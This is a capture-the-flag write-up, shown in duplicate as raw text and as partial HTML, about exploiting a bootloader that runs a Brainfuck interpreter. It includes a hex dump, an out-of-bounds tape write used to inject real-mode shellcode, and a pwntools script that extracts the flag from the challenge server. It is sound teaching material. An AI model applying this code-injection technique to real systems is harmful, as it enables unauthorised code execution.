b00a e854 00eb 928b 3622 .6\u0026#34;}.....T....6\u0026#34; 000000c0: 7d80 3c00 7589 b901 00ff 0624 7d8b 3624 }.\u0026lt;.u......$}.6$ 000000d0: 7d80 3c5b 7501 4180 3c5d 7501 4983 f900 }.\u0026lt;[u.A.\u0026lt;]u.I... 000000e0: 75e7 e96a ff8b 3622 7d80 3c00 0f84 5fff u..j..6\u0026#34;}.\u0026lt;..._. 000000f0: b901 00ff 0e24 7d8b 3624 7d80 3c5d 7501 .....$}.6$}.\u0026lt;]u. 00000100: 4180 3c5b 7501 4983 f900 75e7 e940 ffba A.\u0026lt;[u.I...u..@.. 00000110: f803 eec3 bafd 03ec a801 74f8 80ea 05ec ..........t..... 00000120: eec3 0000 0000 0000 0000 0000 0000 0000 ................ 00000130: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000140: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000150: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000160: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000170: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000180: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 00000190: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000001a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000001b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000001c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000001d0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000001e0: 0000 0000 0000 0000 0000 0000 0000 0000 ................ 000001f0: 0000 0000 0000 0000 0000 0000 0000 55aa ..............U. 00000200: 696e 6765 6861 636b 7b66 616b 655f 666c ingehack{fake_fl 00000210: 6167 7d ag} we can see that the flag is at 0x200, from my experience in writing a simple bootloader i knew that:\nonly the first 0x200 (the bootsector) bytes of the image will be loaded at 0x7c00. to read the rest of the image (the flag) i need to read from the disk using bios interrupts, which means i need to be able to run my own shellcode. after that, i disassembled the bootloader image using\nobjdump -D -b binary -m i8086 bootflop.img -M intel i gave the disassembly to chatgpt, and it told me\n- this program is Brainfuck interpreter. - 0x7D22 is initialized as a pointer to the memory tape. - 0x7D24 is initialized as a pointer to the input program. - it continuously reads and executes Brainfuck commands. - it uses serial ports (which are mapped to stdio in run.sh) to input and output data - it has 8 commands: + (0x2B): Increments the byte at the current memory cell. - (0x2D): Decrements the byte at the current memory cell. \u0026gt; (0x3E): Moves the pointer to the right. \u0026lt; (0x3C): Moves the pointer to the left. . (0x2E): Outputs the byte at the current memory cell. , (0x2C): Inputs a byte and stores it at the current memory cell. [ (0x5B): Loops while the current memory cell is nonzero. ] (0x5D): Jumps back to the matching [ if the memory cell is nonzero. The vulnerability: the vulnerability lies in the \u0026lt; and \u0026gt; commands, the bootloader does not check if we go out of bounds of the memory tape (which starts at 0x7d26, check assembly), we can write into bootloader executable code and it will run just fine.\nExploitation: the exploitation part is simple, write shellcode into memory, then write (or overwrite) a jmp instruction so it jumps to our shellcode.\nusing chatgpt i got the following shellcode that reads the sector (which is the flag) into 0x7a00 then outputs it to serial com1\norg 0x7C00 mov ah, 0x02 ; BIOS read sector function mov al, 0x01 ; Read 1 sector mov ch, 0x00 ; Cylinder 0 mov cl, 0x02 ; Sector 2 (1-based index) mov dh, 0x00 ; Head 0 mov dl, 0x80 ; Drive 0x80 (first hard disk) mov bx, 0x7a0 ; Load sector into 0x7a00 mov es, bx ; Set ES to 0x7a0 (this is a segment to it will be multiplied by 0x10) mov bx, 0x0000 ; Offset within segment (zero to read the whole flag) int 0x13 ; Call BIOS interrupt mov si, 0x0010 ; flag offset mov dx,0x3f8 mov al, byte [es:si] out dx, ; does not matter what happens after this as you can see, this only prints one char, that’s because in the ctf i wrote my shellcode into the memory tape, which was not that long and i couldn’t fit a loop in it (i know i could have wrote it somewhere else), so what i did was output one char at a time and keep overwriting the offset in python so it would print the next char in each connection.\nhere is the python script:\nfrom pwn import * flag = \u0026#39;\u0026#39; for off in range(0, 0x100): p = remote(\u0026#34;bootflop.ctf.ingeniums.club\u0026#34;, 1337, ssl=True) win = open(\u0026#34;win.bin\u0026#34;, \u0026#34;rb\u0026#34;).read() win = win[:0x17] + off.to_bytes(1, \u0026#39;little\u0026#39;) + win[0x18:] payload = b\u0026#39;\u0026gt;\u0026#39; for i in range(len(win)): payload += b\u0026#39;\u0026gt;\u0026#39; payload += b\u0026#39;+\u0026#39; * win[i] p.sendline(payload) payload = b\u0026#39;\u0026lt;\u0026#39; * (1 + len(win)) p.sendline(payload) payload = b\u0026#39;\u0026lt;\u0026#39; * 0x110 payload += b\u0026#39;+\u0026#39; payload += b\u0026#39;\u0026lt;\u0026#39; payload += b\u0026#39;-\u0026#39; * (0xf8-0x11) p.sendlineafter(b\u0026#39;\u0026gt;\u0026#39;, payload) a = p.recvall(timeout=1) flag += chr(a[-1]) print(flag) flag: ingehack{debugging_real_mode_apps_sucks_man} yup it definitely sucked, gdb does not even disassemble it properly.\n","content_html":"\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003echallenge\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eauthor\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eitskarudo\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003epoints\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e493\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003edesc\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e \u003cspan style=\"color:#111\"\u003elove\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eesolangs\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e \u003cspan style=\"color:#111\"\u003elove\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ebootloaders\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003ethis challenge gives a custom bootloader that you have to exploit.\u003c/p\u003e\n\u003cp\u003ewe are given two files \u003ca href=\"http://run.sh\"\u003erun.sh\u003c/a\u003e and bootflop.img (which is the bootloader image)\u003c/p\u003e\n\u003cp\u003efirst thing i did was running xxd on bootflop.img:\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003e00000000: fc31 d2c7 0622 7d26 7dbf 567d c706 247d  .1...\u0026#34;}\u0026amp;}.V}..$}\n00000010: 567d b03e e8f8 00b0 20e8 f300 e8f5 003c  V}.\u0026gt;.... ......\u0026lt;\n00000020: 7f74 0baa 3c0d 741e 3c0a 741a ebee 81ff  .t..\u0026lt;.t.\u0026lt;.t.....\n00000030: 567d 74e8 4fb0 08e8 d500 b020 e8d0 00b0  V}t.O...... ....\n00000040: 08e8 cb00 ebd6 b00a e8c4 00ff 0e24 7dff  .............$}.\n00000050: 0624 7d8b 3624 7d80 3c2b 742a 803c 2d74  .$}.6$}.\u0026lt;+t*.\u0026lt;-t\n00000060: 2d80 3c3e 7430 803c 3c74 3180 3c2e 7432  -.\u0026lt;\u0026gt;t0.\u0026lt;\u0026lt;t1.\u0026lt;.t2\n00000070: 803c 2c74 3880 3c5b 7443 803c 5d74 66b0  .\u0026lt;,t8.\u0026lt;[tC.\u0026lt;]tf.\n00000080: 0ae8 8b00 eb83 8b36 227d fe04 ebc1 8b36  .......6\u0026#34;}.....6\n00000090: 227d fe0c ebb9 ff06 227d ebb3 ff0e 227d  \u0026#34;}......\u0026#34;}....\u0026#34;}\n000000a0: ebad 8b36 227d 8a04 e864 00eb a2e8 6400  ...6\u0026#34;}...d....d.\n000000b0: 8b36 227d 8804 b00a e854 00eb 928b 3622  .6\u0026#34;}.....T....6\u0026#34;\n000000c0: 7d80 3c00 7589 b901 00ff 0624 7d8b 3624  }.\u0026lt;.u......$}.6$\n000000d0: 7d80 3c5b 7501 4180 3c5d 7501 4983 f900  }.\u0026lt;[u.A.\u0026lt;]u.I...\n000000e0: 75e7 e96a ff8b 3622 7d80 3c00 0f84 5fff  u..j..6\u0026#34;}.\u0026lt;..._.\n000000f0: b901 00ff 0e24 7d8b 3624 7d80 3c5d 7501  .....$}.6$}.\u0026lt;]u.\n00000100: 4180 3c5b 7501 4983 f900 75e7 e940 ffba  A.\u0026lt;[u.I...u..@..\n00000110: f803 eec3 bafd 03ec a801 74f8 80ea 05ec  ..........t.....\n00000120: eec3 0000 0000 0000 0000 0000 0000 0000  ................\n00000130: 0000 0000 0000 0000 0000 0000 0000 0000  ................\n00000140: 0000 0000 0000 0000 0000 0000 0000 0000  ................\n00000150: 0000 0000 0000 0000 0000 0000 0000 0000  ................\n00000160: 0000 0000 0000 0000 0000 0000 0000 0000  ................\n00000170: 0000 0000 0000 0000 0000 0000 0000 0000  ................\n00000180: 0000 0000 0000 0000 0000 0000 0000 0000  ................\n00000190: 0000 0000 0000 0000 0000 0000 0000 0000  ................\n000001a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................\n000001b0: 0000 0000 0000 0000 0000 0000 0000 0000  ................\n000001c0: 0000 0000 0000 0000 0000 0000 0000 0000  ................\n000001d0: 0000 0000 0000 0000 0000 0000 0000 0000  ................\n000001e0: 0000 0000 0000 0000 0000 0000 0000 0000  ................\n000001f0: 0000 0000 0000 0000 0000 0000 0000 55aa  ..............U.\n00000200: 696e 6765 6861 636b 7b66 616b 655f 666c  ingehack{fake_fl\n00000210: 6167 7d                                  ag}\n\u003c/code\u003e\u003c/pre\u003e\u003cp\u003ewe can see that the flag is at 0x200, from my experience in writing a simple bootloader i knew that:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eonly the first 0x200 (the \u003ca href=\"https://wiki.osdev.org/Boot_Sequence#Master_Boot_Record\"\u003ebootsector\u003c/a\u003e) bytes of the image will be loaded at 0x7c00.\u003c/li\u003e\n\u003cli\u003eto read the rest of the image (the flag) i need to read from the disk using bios interrupts, which means i need to be able to run my own shellcode.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eafter that, i disassembled the bootloader image using\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eobjdump -D -b binary -m i8086 bootflop.img -M intel\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003ei gave the disassembly to chatgpt, and it told me\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- this program is Brainfuck interpreter.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- 0x7D22 is initialized as a pointer to the memory tape.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- 0x7D24 is initialized as a pointer to the input program.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- it continuously reads and executes Brainfuck commands.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- it uses serial ports \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003ewhich are mapped to stdio in run.sh\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e to input and output data\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- it has \u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e commands:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t+ \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003e0x2B\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e: Increments the byte at the current memory cell.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t- \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003e0x2D\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e: Decrements the byte at the current memory cell.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u0026gt; \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003e0x3E\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e: Moves the pointer to the right.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u0026lt; \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003e0x3C\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e: Moves the pointer to the left.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t. \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003e0x2E\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e: Outputs the byte at the current memory cell.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t, \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003e0x2C\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e: Inputs a byte and stores it at the current memory cell.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003e0x5B\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e: Loops \u003cspan style=\"color:#00a8c8\"\u003ewhile\u003c/span\u003e the current memory cell is nonzero.\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\t\u003cspan style=\"color:#f92672\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e(\u003c/span\u003e0x5D\u003cspan style=\"color:#f92672\"\u003e)\u003c/span\u003e: Jumps back to the matching \u003cspan style=\"color:#f92672\"\u003e[\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003eif\u003c/span\u003e the memory cell is nonzero.\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"the-vulnerability\"\u003eThe vulnerability:\u003c/h2\u003e\n\u003cp\u003ethe vulnerability lies in the \u0026lt; and \u0026gt; commands, the bootloader does not check if we go out of bounds of the memory tape (which starts at 0x7d26, check assembly), we can write into bootloader executable code and it will run just fine.\u003c/p\u003e\n\u003ch2 id=\"exploitation\"\u003eExploitation:\u003c/h2\u003e\n\u003cp\u003ethe exploitation part is simple, write shellcode into memory, then write (or overwrite) a jmp instruction so it jumps to our shellcode.\u003c/p\u003e\n\u003cp\u003eusing chatgpt i got the following shellcode that reads the sector (which is the flag) into 0x7a00 then outputs it to serial com1\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-nasm\" data-lang=\"nasm\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#00a8c8\"\u003eorg\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x7C00\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003emov\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eah\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x02\u003c/span\u003e    \u003cspan style=\"color:#75715e\"\u003e; BIOS read sector function\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003emov\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eal\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x01\u003c/span\u003e    \u003cspan style=\"color:#75715e\"\u003e; Read 1 sector\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003emov\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ech\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x00\u003c/span\u003e    \u003cspan style=\"color:#75715e\"\u003e; Cylinder 0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003emov\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ecl\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x02\u003c/span\u003e    \u003cspan style=\"color:#75715e\"\u003e; Sector 2 (1-based index)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003emov\u003c/span\u003e \u003cspan style=\"color:#111\"\u003edh\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x00\u003c/span\u003e    \u003cspan style=\"color:#75715e\"\u003e; Head 0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003emov\u003c/span\u003e \u003cspan style=\"color:#111\"\u003edl\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x80\u003c/span\u003e    \u003cspan style=\"color:#75715e\"\u003e; Drive 0x80 (first hard disk)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003emov\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ebx\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x7a0\u003c/span\u003e  \u003cspan style=\"color:#75715e\"\u003e; Load sector into 0x7a00\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003emov\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ees\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ebx\u003c/span\u003e      \u003cspan style=\"color:#75715e\"\u003e; Set ES to 0x7a0 (this is a segment to it will be multiplied by 0x10)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003emov\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ebx\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x0000\u003c/span\u003e  \u003cspan style=\"color:#75715e\"\u003e; Offset within segment (zero to read the whole flag)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003eint\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x13\u003c/span\u003e        \u003cspan style=\"color:#75715e\"\u003e; Call BIOS interrupt\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003emov\u003c/span\u003e \u003cspan style=\"color:#111\"\u003esi\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x0010\u003c/span\u003e \u003cspan style=\"color:#75715e\"\u003e; flag offset \u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003emov\u003c/span\u003e \u003cspan style=\"color:#111\"\u003edx\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x3f8\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003emov\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eal\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#00a8c8\"\u003ebyte\u003c/span\u003e \u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#111\"\u003ees\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:\u003c/span\u003e\u003cspan style=\"color:#111\"\u003esi\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75af00\"\u003eout\u003c/span\u003e \u003cspan style=\"color:#111\"\u003edx\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e; does not matter what happens after this\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eas you can see, this only prints one char, that’s because in the ctf i wrote my shellcode into the memory tape, which was not that long and i couldn’t fit a loop in it (i know i could have wrote it somewhere else), so what i did was output one char at a time and keep overwriting the offset in python so it would print the next char in each connection.\u003c/p\u003e\n\u003cp\u003ehere is the python script:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#272822;background-color:#fafafa;-moz-tab-size:4;-o-tab-size:4;tab-size:4;\"\u003e\u003ccode class=\"language-python\" data-lang=\"python\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003efrom\u003c/span\u003e \u003cspan style=\"color:#111\"\u003epwn\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003eimport\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#111\"\u003eflag\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#d88200\"\u003e\u0026#39;\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#00a8c8\"\u003efor\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eoff\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e \u003cspan style=\"color:#111\"\u003erange\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0x100\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e):\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ep\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eremote\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;bootflop.ctf.ingeniums.club\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1337\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#111\"\u003essl\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#00a8c8\"\u003eTrue\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ewin\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eopen\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#34;win.bin\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#d88200\"\u003e\u0026#34;rb\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eread\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003ewin\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ewin\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[:\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x17\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e]\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#111\"\u003eoff\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#111\"\u003eto_bytes\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e,\u003c/span\u003e \u003cspan style=\"color:#d88200\"\u003e\u0026#39;little\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ewin\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e[\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x18\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e:]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#111\"\u003epayload\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#d88200\"\u003eb\u003c/span\u003e\u003cspan style=\"color:#d88200\"\u003e\u0026#39;\u0026gt;\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#00a8c8\"\u003efor\u003c/span\u003e \u003cspan style=\"color:#111\"\u003ei\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e \u003cspan style=\"color:#111\"\u003erange\u003c/span\u003e\u003cspan style=\"color:#111\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#111\"\u003elen\u003c/span\u003e\u003cspan 